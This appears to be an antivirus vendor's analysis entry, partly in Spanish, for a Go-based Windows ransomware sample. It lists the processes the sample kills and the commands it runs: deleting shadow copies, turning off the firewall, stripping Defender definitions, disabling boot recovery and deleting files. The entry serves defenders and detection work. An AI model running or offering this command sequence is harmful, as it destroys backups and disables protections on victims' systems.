Ransom.Win64.JKWERLO.LNS.go

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

• powershell “vssadmin delete shadows /all /quiet”
• powershell “netsh advfirewall set allprofiles state off”
• %Program Files%\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All
• powershell “reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f”
• powershell “reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f”
• powershell “bcdedit /set recoveryenabled No”
• powershell "Get-NetNeighbor | Select-Object IPAddress"
• powershell “del -Path %Downloads%\doc -Recurse -Force”
• powershell “Get-ChildItem -Path ‘%Downloads%’ -Filter *.lnk | Remove-Item -Force”
• powershell “Get-ChildItem -Path ‘%Downloads%’ -Filter *.zip | Remove-Item -Force”
• powershell “Get-ChildItem -Path ‘%Downloads%’ -Filter *.html | Remove-Item -Force”

(Nota: %Program Files% es la carpeta Archivos de programa predeterminada, que suele estar en C:\Archivos de programa).

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

• via taskkill /F /IM:
  • sql.exe
  • oracle.exe
  • excel.exe
  • infopath.exe
  • msaccess.exe
  • onenote.exe
  • outlook.exe
  • powerpnt.exe
  • thunderbird.exe
  • tbirdconfig.exe
  • visio.exe
  • winword.exe
  • wordpad.exe
  • notepad.exe

Otros detalles

Hace lo siguiente:

• It gathers information about network neighbors on the local computer.
• It disables the automatic recovery feature in Windows by modifying the Boot Configuration Data (BCD).
• It disables the Windows Firewall for all network profiles.
• It then deletes its dropped files from the system.